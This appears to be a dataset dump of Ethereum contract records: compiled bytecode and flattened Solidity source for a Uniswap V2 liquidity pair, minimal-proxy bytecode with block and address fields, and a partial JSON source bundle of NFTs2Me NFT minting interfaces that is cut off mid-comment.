ffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,493,312
c91737f941935e4c684775a016d42f0c978dc1909fb999572638de978e6e22fd
23e4292d36088535dc4884d0687f2e1319f299604e0af6a4bedc5498dd0e5000
bfd6b6f04e3c992e6f88db612daa03cd6aab3798
2269bceb3f4e0aa53d2fc43b1b7c5c5d13b119a5
ff22f5c126735062e9c0d4505e4b42bdcf7f2576
3d602d80600a3d3981f3363d3d373d3d3d363d73de9a07e5f1eaf3236e84724e0a221ce44d7b26575af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73de9a07e5f1eaf3236e84724e0a221ce44d7b26575af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "@nfts2me/contracts/important/README.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * .::. //\n * ...... //\n * .... ::. //\n * .:.. :: ... //\n * ..:. :: ... //\n * ::. ..:-- ::. ... //\n * .: ..:::::-==: :::::.. : //\n * .: :::::::-====: :::::::: : //\n * .: :::::::-======. :::::::: : //\n * .: :::::::-=======-:::::::: : //\n * .: :::::::-========-::::::: : //\n * .: ::::::::========-::::::: : //\n * .: :::::::. .======-::::::: : //\n * .: :::::::. :====-::::::: : //\n * .: .:::::. -==-:::::. : //\n * .:. .:. .--:.. ... //\n * .:. :. ... //\n * .... :. .... //\n * .:. .:. //\n * .::::. //\n * :--. //\n * //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * More info at: https://docs.nfts2me.com/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\n/// @title NFTs2Me.com Smart Contracts README\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\ninterface Readme {\n function n2mVersion() external pure returns (uint256);\n }\n" }, "@nfts2me/contracts/interfaces/IN2M_ERCBase.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol\";\nimport \"./IN2M_ERCStorage.sol\";\n\ninterface IN2M_ERCBase is IERC2981Upgradeable, IN2M_ERCStorage {\n /// @notice To be called to create the collection. Can only be called once.\n function initialize\n (\n string memory tokenName,\n string memory tokenSymbol,\n uint256 iMintPrice,\n bytes32 baseURICIDHash,\n bytes32 placeholderImageCIDHash,\n RevenueAddress[] calldata revenueAddresses,\n address iErc20PaymentAddress,\n uint32 iTotalSupply,\n uint16 iRoyaltyFee,\n bool soulboundCollection,\n MintingType iMintingType\n ) external payable;\n\n /// @notice A descriptive name for a collection of NFTs in this contract\n function name() external view returns (string memory);\n\n /// @notice An abbreviated name for NFTs in this contract\n /// @return the collection symbol\n function symbol() external view returns (string memory);\n\n /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.\n /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n /// 3986. The URI may point to a JSON file that conforms to the \"ERC721\n /// Metadata JSON Schema\".\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n /// @notice Mints one NFT to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n function mint() external payable;\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender). Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n function mint(uint256 amount) external payable;\n\n /// @notice Mints `amount` NFTs to the caller (msg.sender) with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param amount The number of NFTs to mint\n /// @param affiliate The affiliate address\n function mint(uint256 amount, address affiliate) external payable;\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintTo(address to, uint256 amount) external payable;\n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `sequential` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintTo(address to, uint256 amount, address affiliate) external payable;\n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n function mintRandomTo(address to, uint256 amount) external payable; \n\n /// @notice Two phases on-chain random minting. Mints `amount` NFTs tickets to `to` address with a given `affiliate`. Requires `minting type` to be `random` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment). Once minted, those tickets must be redeemed for an actual token calling `redeemRandom()`.\n /// @param to The address of the NFTs receiver\n /// @param amount The number of NFTs to mint \n /// @param affiliate The affiliate address\n function mintRandomTo(address to, uint256 amount, address affiliate) external payable;\n\n /// @notice Redeems remaining random tickets generated from `msg.sender` by calling `mintRandomTo` for actual NFTs.\n function redeemRandom() external payable;\n\n /// @notice Mints `amount` NFTs to `to` address. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n function mintSpecifyTo(address to, uint256[] memory tokenIds) external payable; \n\n /// @notice Mints `amount` NFTs to `to` address with a given `affiliate`. Requires `minting type` to be `specify` and the `mintPrice` to be send (if `Native payment`) or approved (if `ERC-20` payment).\n /// @param to The address of the NFTs receiver\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param affiliate The affiliate address\n function mintSpecifyTo(address to, uint256[] memory tokenIds, address affiliate) external payable; \n\n /// @notice Mints one NFT to `to` address. Requires `minting type` to be `customURI`.\n /// @param to The address of the NFTs receiver\n /// @param customURICIDHash The CID of the given token.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function mintCustomURITo(address to, bytes32 customURICIDHash, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses. Requires `minting type` to be `sequential`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSequential(address[] memory to, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with random tokenIds. Requires `minting type` to be `random`.\n /// @param to The addresses of the NFTs receivers\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropRandom(address[] memory to, bool soulbound) external payable;\n\n /// @notice Only owner can call this function. Free of charge. Mints sizeof(`to`) to `to` addresses with specified tokenIds. Requires `minting type` to be `specify`.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An array of the specified tokens. They must not be minted, otherwise, it will revert.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n function airdropSpecify(address[] memory to, uint256[] memory tokenIds, bool soulbound) external payable;\n\n /// @notice Mints `amount` of NFTs to `to` address with optional specified tokenIds. This function must be called only if a valid `signature` is given during a whitelisting/presale.\n /// @param to The addresses of the NFTs receivers\n /// @param tokenIds An optional array of the specified tokens. They must not be minted, otherwise, it will revert. Only used if minting type is `specify`.\n /// @param freeMinting True is minting is free\n /// @param customFee Zero is fee is different from `mintingPrice`.\n /// @param maxAmount Max Amount to be minted with the given `signature`.\n /// @param amount Amount to mint.\n /// @param soulbound True if the NFT is a Soulbound Token (SBT). If set, it can't be transferred.\n /// @param signature Valid `signature` for the presale/whitelist.\n function mintPresale (\n address to, \n uint256[] memory tokenIds,\n bool freeMinting, \n uint256 customFee, \n uint256 maxAmount,\n uint256 amount, \n bool soulbound,\n bytes calldata signature) payable external;\n\n /// @notice Returns the minting price of one NFT.\n /// @return Mint price for one NFT in native coin or ERC-20.\n function mintPrice() external view returns (uint256);\n\n /// @notice Returns the current total supply.\n /// @return Current total supply.\n function totalSupply() external view returns (uint256);\n\n /// @notice Max amount of NFTs to be hold per address.\n /// @return Max per address allowed.\n function maxPerAddress() external view returns (uint16);\n\n}\n\n" }, "@nfts2me/contracts/interfaces/IN2M_ERCStorage.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. 